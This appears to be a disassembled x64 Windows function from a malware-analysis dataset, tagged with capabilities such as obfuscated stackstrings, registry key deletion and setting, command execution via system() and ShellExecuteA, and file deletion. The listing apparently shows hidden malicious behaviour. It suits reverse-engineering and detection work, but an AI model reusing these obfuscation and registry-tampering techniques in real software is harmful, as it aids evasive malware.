Function at 0x14006b290
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Delete registry key
Execute command
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
xor esi, esi
mov edi, esi
mov dword [rbp + 0x230], esi
cmp byte [0x14019b410], sil
je 0x14006b393
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x238], rax
lea rdx, [0x14019b438]
lea rcx, [rbp + 0x1c8]
call fcn.140046ec0
nop
lea rdx, str.Anything
lea rcx, [rbp + 0xf8]
call fcn.140044e20
nop
mov dword [rbp + 0x230], 0x39
movdqa xmm0, xmmword [str.qzpwHnhhurp.]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 1
lea rcx, [rsp + 0x30]
call fcn.140049100
lea r8, [rbp + 0xf8]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x118]
call fcn.140049510
nop
lea r9, [rbp + 0x1c8]
mov r8, rax
lea rdx, [rsp + 0x50]
lea rcx, [0x14019b0e9]
call fcn.1400475b0
mov rbx, rax
mov dword [rbp + 0x230], 0x3b
lea rdx, [0x14019b418]
lea rcx, [rbp + 0x1a8]
call fcn.140046ec0
mov edi, 0x13f
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.140049950
test al, al
je 0x14006b393
mov bl, 1
jmp 0x14006b395
xor bl, bl
test dil, 4
je 0x14006b3ab
and edi, 0xfffffffb
lea rcx, [rbp + 0x1a8]
call fcn.140044dc0
nop
test dil, 2
je 0x14006b3bf
and edi, 0xfffffffd
lea rcx, [rsp + 0x50]
call fcn.140044dc0
nop
test dil, 1
je 0x14006b3d1
lea rcx, [rbp + 0xf8]
call fcn.140044dc0
test bl, bl
je 0x14006bfd1
mov dword [rsp + 0x30], 0xfd00fb
mov dword [rsp + 0x34], 0xea00ef
mov dword [rsp + 0x38], 0xa300e1
mov dword [rsp + 0x3c], 0xf700eb
mov dword [rsp + 0x40], 0xf5
mov byte [rsp + 0x44], 1
lea rcx, [rsp + 0x30]
call fcn.14006c620
lea rcx, [rsp + 0x30]
call fcn.14006b0e0
test eax, eax
je 0x14006b476
mov dword [rbp + 0xf8], 0xfd00fb
mov dword [rbp + 0xfc], 0xea00ef
mov dword [rbp + 0x100], 0xa300e1
mov dword [rbp + 0x104], 0xf700eb
mov dword [rbp + 0x108], 0xf5
mov byte [rbp + 0x10c], 1
lea rcx, [rbp + 0xf8]
call fcn.14006c620
lea rcx, [rbp + 0xf8]
call fcn.14006b0e0
mov ecx, eax
call fcn.14006b240
mov dword [rsp + 0x30], 0xfd00fb
mov dword [rsp + 0x34], 0xea00ef
mov dword [rsp + 0x38], 0xe1
mov byte [rsp + 0x3c], 1
lea rcx, [rsp + 0x30]
call fcn.14006c5f0
lea rcx, [rsp + 0x30]
call fcn.14006b0e0
test eax, eax
je 0x14006b4e3
mov dword [rsp + 0x30], 0xfd00fb
mov dword [rsp + 0x34], 0xea00ef
mov dword [rsp + 0x38], 0xe1
mov byte [rsp + 0x3c], 1
lea rcx, [rsp + 0x30]
call fcn.14006c5f0
lea rcx, [rsp + 0x30]
call fcn.14006b0e0
mov ecx, eax
call fcn.14006b240
call fcn.14006adc0
test eax, eax
je 0x14006b4f8
call fcn.14006adc0
mov ecx, eax
call fcn.14006b240
mov dword [rbp + 0x9e], 0xc600db
mov dword [rbp + 0xa2], 0xdf00cc
mov dword [rbp + 0xa6], 0xcc00db
mov dword [rbp + 0xaa], 0xca00dc
mov dword [rbp + 0xae], 0xdc00cc
mov dword [rbp + 0xb2], 0xf000fb
mov dword [rbp + 0xb6], 0xfa00e6
mov dword [rbp + 0xba], 0xf800e5
mov dword [rbp + 0xbe], 0xed00fe
mov dword [rbp + 0xc2], 0xd600c6
mov dword [rbp + 0xc6], 0xd100cf
mov dword [rbp + 0xca], 0xfc00f7
mov dword [rbp + 0xce], 0xcf00c5
mov dword [rbp + 0xd2], 0xca00d1
mov dword [rbp + 0xd6], 0xc200ca
mov dword [rbp + 0xda], 0xef00fa
mov dword [rbp + 0xde], 0xdb00c9
mov dword [rbp + 0xe2], 0xdc00ce
mov dword [rbp + 0xe6], 0xdf00cd
mov dword [rbp + 0xea], 0xe600cb
mov dword [rbp + 0xee], 0xf4
mov byte [rbp + 0xf2], 1
lea rcx, [rbp + 0x9e]
call fcn.14006c5c0
lea rdx, [rbp + 0x9e]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rbp - 0x80], 0xd000db
mov dword [rbp - 0x7c], 0xdf00d9
mov dword [rbp - 0x78], 0xc000c9
mov dword [rbp - 0x74], 0xcc00d2
mov dword [rbp - 0x70], 0xff00ff
mov dword [rbp - 0x6c], 0xe100e6
mov dword [rbp - 0x68], 0xf900fb
mov dword [rbp - 0x64], 0xf200c5
mov dword [rbp - 0x60], 0xa900ec
mov dword [rbp - 0x5c], 0xaa00aa
mov dword [rbp - 0x58], 0xce00c0
mov dword [rbp - 0x54], 0xed00fb
mov dword [rbp - 0x50], 0xc800d6
mov dword [rbp - 0x4c], 0xc600c1
mov dword [rbp - 0x48], 0xf900d7
mov dword [rbp - 0x44], 0xc600c4
mov dword [rbp - 0x40], 0xf500c5
mov dword [rbp - 0x3c], 0xdf00f9
mov dword [rbp - 0x38], 0xd900cd
mov dword [rbp - 0x34], 0xf300cb
mov dword [rbp - 0x30], 0xc200e5
mov dword [rbp - 0x2c], 0xc100d7
mov dword [rbp - 0x28], 0xd000e7
mov dword [rbp - 0x24], 0xc300c2
mov dword [rbp - 0x20], 0xd700d1
mov dword [rbp - 0x1c], 0xc800dd
mov dword [rbp - 0x18], 0xee00e0
mov dword [rbp - 0x14], 0x92009e
mov dword [rbp - 0x10], 0xf000e0
mov dword [rbp - 0xc], 0xee00e2
mov dword [rbp - 8], 0xf000e4
mov dword [rbp - 4], 0xea00e6
mov dword [rbp], 0xfb00e8
mov dword [rbp + 4], 0xeb00fb
mov dword [rbp + 8], 0xed00e1
mov dword [rbp + 0xc], 0xfd00ff
mov dword [rbp + 0x10], 0xe300e8
mov dword [rbp + 0x14], 0xeb00e2
mov dword [rbp + 0x18], 0xe000e0
mov dword [rbp + 0x1c], 0xe400e1
mov dword [rbp + 0x20], 0xf400f8
mov dword [rbp + 0x24], 0xea00fa
mov dword [rbp + 0x28], 0xe500ea
mov dword [rbp + 0x2c], 0xef00ef
mov dword [rbp + 0x30], 0xd400d6
mov dword [rbp + 0x34], 0xda00db
mov dword [rbp + 0x38], 0xc500d2
mov dword [rbp + 0x3c], 0xc700cb
mov dword [rbp + 0x40], 0xd800db
mov dword [rbp + 0x44], 0xde00db
mov dword [rbp + 0x48], 0xd500d5
mov dword [rbp + 0x4c], 0xdd00df
mov dword [rbp + 0x50], 0xc000c6
mov dword [rbp + 0x54], 0xde00d2
mov dword [rbp + 0x58], 0xc400d4
mov dword [rbp + 0x5c], 0xc700c6
mov dword [rbp + 0x60], 0xc9
mov byte [rbp + 0x64], 1
lea rcx, [rbp - 0x80]
call fcn.14006c590
lea rdx, [rbp - 0x80]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rbp - 0x80], 0xd000db
mov dword [rbp - 0x7c], 0xdf00d9
mov dword [rbp - 0x78], 0xc000c9
mov dword [rbp - 0x74], 0xcc00d2
mov dword [rbp - 0x70], 0xff00ff
mov dword [rbp - 0x6c], 0xe100e6
mov dword [rbp - 0x68], 0xf900fb
mov dword [rbp - 0x64], 0xf200c5
mov dword [rbp - 0x60], 0xa900ec
mov dword [rbp - 0x5c], 0xaa00aa
mov dword [rbp - 0x58], 0xce00c0
mov dword [rbp - 0x54], 0xed00fb
mov dword [rbp - 0x50], 0xc800d6
mov dword [rbp - 0x4c], 0xc600c1
mov dword [rbp - 0x48], 0xf900d7
mov dword [rbp - 0x44], 0xc600c4
mov dword [rbp - 0x40], 0xf500c5
mov dword [rbp - 0x3c], 0xdf00f9
mov dword [rbp - 0x38], 0xd900cd
mov dword [rbp - 0x34], 0xf300cb
mov dword [rbp - 0x30], 0xc200e5
mov dword [rbp - 0x2c], 0xc100d7
mov dword [rbp - 0x28], 0xd000e7
mov dword [rbp - 0x24], 0xc300c2
mov dword [rbp - 0x20], 0xd700d1
mov dword [rbp - 0x1c], 0xc800dd
mov dword [rbp - 0x18], 0xee00e0
mov dword [rbp - 0x14], 0x92009e
mov dword [rbp - 0x10], 0xf000e0
mov dword [rbp - 0xc], 0xee00e2
mov dword [rbp - 8], 0xf000e4
mov dword [rbp - 4], 0xea00e6
mov dword [rbp], 0xfb00e8
mov dword [rbp + 4], 0xeb00fb
mov dword [rbp + 8], 0xed00e1
mov dword [rbp + 0xc], 0xfc00fd
mov dword [rbp + 0x10], 0xe100e2
mov dword [rbp + 0x14], 0xe700e2
mov dword [rbp + 0x18], 0xec00e2
mov dword [rbp + 0x1c], 0xf700e3
mov dword [rbp + 0x20], 0xf900f5
mov dword [rbp + 0x24], 0xe300e8
mov dword [rbp + 0x28], 0xe400ee
mov dword [rbp + 0x2c], 0xec00e7
mov dword [rbp + 0x30], 0xd400d6
mov dword [rbp + 0x34], 0xdb00da
mov dword [rbp + 0x38], 0xc800c4
mov r14d, 0xc8
mov dword [rbp + 0x3c], 0xd600c6
mov dword [rbp + 0x40], 0xd900dc
mov dword [rbp + 0x44], 0xdc00d9
mov dword [rbp + 0x48], 0xd500de
mov dword [rbp + 0x4c], 0xd600dc
mov dword [rbp + 0x50], 0xdc00d0
mov dword [rbp + 0x54], 0xc200d2
mov dword [rbp + 0x58], 0xc500c4
mov dword [rbp + 0x5c], 0xc4
xor edi, edi
mov byte [rbp + 0x60], 1
lea rcx, [rbp - 0x80]
call fcn.14006c560
lea rdx, [rbp - 0x80]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea rcx, [rsp + 0x50]
call fcn.140069990
nop
mov rcx, rax
call fcn.140069a20
nop
lea rcx, [rsp + 0x50]
call fcn.140044dc0
lea rax, [rbp + 0xf8]
mov qword [rbp + 0x230], rax
movdqa xmm0, xmmword [0x1400bb700]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400bb650]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0x5a7c5b51
mov dword [rsp + 0x74], 0x406b4345
mov dword [rsp + 0x78], 0x45591549
mov word [rsp + 0x7c], 0x5b
mov byte [rsp + 0x7e], 1
lea rcx, [rsp + 0x50]
call fcn.140049010
movzx edx, byte [rbp + 0x230]
lea rcx, [rbp + 0xf8]
call fcn.1400458a0
nop
lea rax, [rsp + 0x50]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14006b9e5
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf8]
call fcn.1400458c0
nop
lea rax, [rsp + 0x30]
mov qword [rbp + 0x238], rax
movdqa xmm0, xmmword [0x1400bb6d0]
movdqu xmmword [rbp + 0x9e], xmm0
movdqa xmm1, xmmword [0x1400bb870]
movdqu xmmword [rbp + 0xae], xmm1
movdqa xmm0, xmmword [0x1400bb470]
movdqu xmmword [rbp + 0xbe], xmm0
mov dword [rbp + 0xce], 0x363d1036
mov dword [rbp + 0xd2], 0x2c302268
mov word [rbp + 0xd6], pe_nt_image_headers64
lea rcx, [rbp + 0x9e]
call fcn.140049040
movzx edx, byte [rbp + 0x230]
lea rcx, [rsp + 0x30]
call fcn.1400458a0
nop
lea rax, [rbp + 0x9e]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14006ba82
lea rdx, [rbp + 0x9e]
lea rcx, [rsp + 0x30]
call fcn.1400458c0
nop
lea r8, [rbp + 0xf8]
lea rdx, [rsp + 0x30]
lea rcx, [0x14019b4a0]
call fcn.140051d50
test al, al
je 0x14006bfd1
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x230], rax
movdqa xmm0, xmmword [0x1400bbaa0]
movdqu xmmword [rbp + 0x66], xmm0
movdqa xmm1, xmmword [0x1400bba60]
movdqu xmmword [rbp + 0x76], xmm1
mov dword [rbp + 0x86], 0xc4e2c1cb
mov dword [rbp + 0x8a], 0xd6fdd9df
mov dword [rbp + 0x8e], 0xc09cddc3
mov dword [rbp + 0x92], 0x100c6cd
lea rcx, [rbp + 0x66]
call fcn.14006c530
movzx edx, byte [rbp + 0x230]
lea rcx, [rbp + 0x1a8]
call fcn.1400458a0
nop
lea rax, [rbp + 0x66]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14006bb32
lea rdx, [rbp + 0x66]
lea rcx, [rbp + 0x1a8]
call fcn.1400458c0
nop
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x238], rax
movdqa xmm0, xmmword [0x1400bb6d0]
movdqu xmmword [rbp + 0x118], xmm0
movdqa xmm1, xmmword [0x1400bb870]
movdqu xmmword [rbp + 0x128], xmm1
mov dword [rbp + 0x138], 0x45471c41
mov dword [rbp + 0x13c], 0x5c5e5859
mov dword [rbp + 0x140], 0x444f1548
mov word [rbp + 0x144], 0x4d
mov byte [rbp + 0x146], 1
lea rcx, [rbp + 0x118]
call fcn.140049010
movzx edx, byte [rbp + 0x230]
lea rcx, [rbp + 0x1c8]
call fcn.1400458a0
nop
lea rax, [rbp + 0x118]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14006bbd3
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x1c8]
call fcn.1400458c0
nop
lea r8, [rbp + 0x1a8]
lea rdx, [rbp + 0x1c8]
lea rcx, [0x14019b4a0]
call fcn.140051d50
test al, al
je 0x14006bfd1
movdqa xmm0, xmmword [0x1400bba80]
movdqu xmmword [rbp + 0x148], xmm0
movdqa xmm1, xmmword [0x1400bba30]
movdqu xmmword [rbp + 0x158], xmm1
movdqa xmm0, xmmword [0x1400bbac0]
movdqu xmmword [rbp + 0x168], xmm0
movdqa xmm1, xmmword [0x1400bb9f0]
movdqu xmmword [rbp + 0x178], xmm1
movdqa xmm0, xmmword [0x1400bba00]
movdqu xmmword [rbp + 0x188], xmm0
mov dword [rbp + 0x198], 0xa8b591b0
mov dword [rbp + 0x19c], 0xaca78ea8
mov dword [rbp + 0x1a0], 0x9a91cf8c
mov dword [rbp + 0x1a4], 0x100c797
lea rcx, [rbp + 0x148]
call fcn.14006c500
movzx edx, byte [rbp + 0x230]
lea rcx, [rbp + 0xf8]
call fcn.1400458a0
nop
lea rax, [rbp + 0x148]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14006bcb5
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xf8]
call fcn.1400458c0
nop
lea rcx, [rbp + 0xf8]
call fcn.140044db0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x14006bd7d
mov dword [rbp + 0x230], 0x7f717d50
mov word [rbp + 0x234], 0x76
mov byte [rbp + 0x236], 1
lea rcx, [rbp + 0x230]
call fcn.140052610
movdqa xmm0, xmmword [0x1400bb860]
movdqu xmmword [rbp + 0x66], xmm0
movdqa xmm1, xmmword [0x1400bb910]
movdqu xmmword [rbp + 0x76], xmm1
movdqa xmm0, xmmword [0x1400bb400]
movdqu xmmword [rbp + 0x86], xmm0
mov dword [rbp + 0x96], 0x2b2d2225
mov word [rbp + 0x9a], 0x68
mov byte [rbp + 0x9c], 1
lea rcx, [rbp + 0x66]
call fcn.140048fe0
xor r9d, r9d
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x66]
lea rcx, [0x14019b4a0]
call fcn.14004faa0
movdqa xmm0, xmmword [0x1400bba20]
movdqu xmmword [rbp + 0x9e], xmm0
movdqa xmm1, xmmword [0x1400bba40]
movdqu xmmword [rbp + 0xae], xmm1
movdqa xmm0, xmmword [0x1400bba70]
movdqu xmmword [rbp + 0xbe], xmm0
movdqa xmm1, xmmword [0x1400bba10]
movdqu xmmword [rbp + 0xce], xmm1
mov dword [rbp + 0xde], 0xae99a5ad
mov dword [rbp + 0xe2], 0xe1beb8b8
mov dword [rbp + 0xe6], 0xa6a9a4
mov byte [rbp + 0xea], 1
lea rcx, [rbp + 0x9e]
call fcn.14006c4a0
mov dword [rsp + 0x30], 0xa5eee4eb
mov dword [rsp + 0x34], 0xebf5e9
mov byte [rsp + 0x38], 1
lea rcx, [rsp + 0x30]
call fcn.14006c4d0
mov dword [rbp + 0x230], 0x7b71637d
mov word [rbp + 0x234], pe_nt_image_headers64
lea rcx, [rbp + 0x230]
call fcn.140049220
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x9e]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x230]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400bb7e0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [str.EPyeUQYDK_O_XH]
movdqu xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x70], 1
lea rcx, [rsp + 0x50]
call fcn.140052550
mov dword [rsp + 0x30], 0x7d77725f
mov dword [rsp + 0x34], 0x5e7d797f
mov dword [rsp + 0x38], 0x78726f
mov byte [rsp + 0x3c], 1
lea rcx, [rsp + 0x30]
call fcn.140049190
call fcn.14006aa90
mov rdi, rax
lea rax, [rbp + 0x238]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x14006bed1
inc ebx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14006bf11
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400bb700]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400bb650]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0x5a7c5b51
mov dword [rsp + 0x74], 0x406b4345
mov dword [rsp + 0x78], 0x45591549
mov word [rsp + 0x7c], 0x5b
mov byte [rsp + 0x7e], 1
lea rcx, [rsp + 0x50]
call fcn.140049010
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400bbaa0]
movdqu xmmword [rbp + 0x66], xmm0
movdqa xmm1, xmmword [0x1400bba60]
movdqu xmmword [rbp + 0x76], xmm1
mov dword [rbp + 0x86], 0xc4e2c1cb
mov dword [rbp + 0x8a], 0xd6fdd9df
mov dword [rbp + 0x8e], 0xc09cddc3
mov dword [rbp + 0x92], 0x100c6cd
lea rcx, [rbp + 0x66]
call fcn.14006c530
lea rcx, [rbp + 0x66]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0xf8]
call fcn.140044dc0
mov rbx, qword [rsp + 0x340]
add rsp, 0x2f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret